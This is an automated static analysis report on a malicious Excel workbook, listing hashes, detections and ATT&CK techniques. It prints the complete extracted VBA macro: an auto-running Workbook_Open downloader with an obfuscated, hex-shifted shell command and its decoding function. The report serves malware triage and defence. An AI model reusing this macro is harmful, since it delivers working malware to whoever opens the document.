Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 fbe5f71e75c1b92c…

MALICIOUS

Office (OOXML)

173.5 KB Created: 2020-07-09 22:11:41 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2020-09-15
MD5: 84ba27c4b3083be263a54322adec3149 SHA-1: 2548d9097c1b27f064a7089afe393fde0fbfa64d SHA-256: fbe5f71e75c1b92c68a6da3698f42a2ca2f9fcc6f620f494c562583c194b2011
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file is an Excel document containing a Workbook_Open VBA macro. This macro utilizes WScript.Shell to execute obfuscated code. The obfuscated string decodes to 'a' followed by a long sequence of hex characters, which is then processed by the ChrEncode function. This function appears to be a custom deobfuscation routine that likely reveals a command to download and execute a second-stage payload. The presence of WScript.Shell and the Workbook_Open auto-execution strongly suggests a downloader or dropper functionality.

Heuristics 7

  • ClamAV: Xls.Downloader.Obfuse-9382072-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Obfuse-9382072-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Public Sub Workbook_Open()
Set objShell = CreateObject("Wscript.Shell")
objShell.Run ChrEncode("a", "7882793544783585848C7A87887D7A8181437A8D7A35427A8D7A788A897E84838584817E788E35778E8576888835426C355D7E79797A83354278848282768379353D837A8C4284777F7A788935688E88897A8243637A89436C7A7758817E7A83893E4359848C83818476795B7E817A3D3C7D8989854F4444887D848578768789437E8379778E897A884378848244787E7C44494A454648454C4C4D4D437F857C3C41397A838B4F697A8285403C716376827A437A8D7A3C3E503D637A8C4264777F7A7889354278848235687D7A818143568585817E7876897E84833E43687D7A81815A8D7A788A897A3D397 …
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Public Sub Workbook_Open()
Set objShell = CreateObject("Wscript.Shell")
objShell.Run ChrEncode("a", "7882793544783585848C7A87887D7A8181437A8D7A35427A8D7A788A897E84838584817E788E35778E8576888835426C355D7E79797A83354278848282768379353D837A8C4284777F7A788935688E88897A8243637A89436C7A7758817E7A83893E4359848C83818476795B7E817A3D3C7D8989854F4444887D848578768789437E8379778E897A884378848244787E7C44494A454648454C4C4D4D437F857C3C41397A838B4F697A8285403C716376827A437A8D7A3C3E503D637A8C4264777F7A7889354278848235687D7A818143568585817E7876897E84833E43687D7A81815A8D7A788A897A3D397 …
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Public Sub Workbook_Open()
Set objShell = CreateObject("Wscript.Shell")
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1557 bytes
SHA-256: f62ffec4627d9b92c523f499350d0c9b9f0619273eb7f3db89881034576346fc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Sub Workbook_Open()
Set objShell = CreateObject("Wscript.Shell")
objShell.Run ChrEncode("a", "7882793544783585848C7A87887D7A8181437A8D7A35427A8D7A788A897E84838584817E788E35778E8576888835426C355D7E79797A83354278848282768379353D837A8C4284777F7A788935688E88897A8243637A89436C7A7758817E7A83893E4359848C83818476795B7E817A3D3C7D8989854F4444887D848578768789437E8379778E897A884378848244787E7C44494A454648454C4C4D4D437F857C3C41397A838B4F697A8285403C716376827A437A8D7A3C3E503D637A8C4264777F7A7889354278848235687D7A818143568585817E7876897E84833E43687D7A81815A8D7A788A897A3D397A838B4F697A8285403C716376827A437A8D7A3C3E")
End Sub
  Function ChrEncode(CodeKey As String, str As String)
        Dim n As Integer
        Dim i As Integer
        Dim sStr
        n = 221
        sStr = ""
        For i = 1 To Len(str) Step 2
            sStr = sStr + Chr(CLng("&H" & Mid(str, i, 2)) - 21)
        Next
        ChrEncode = sStr
    End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 14336 bytes
SHA-256: b859c235afdfcad97d0f139627aec94babb626ee90498bc0c0cad81059ddd9d5
Detection
ClamAV: Xls.Downloader.Obfuse-9382072-0
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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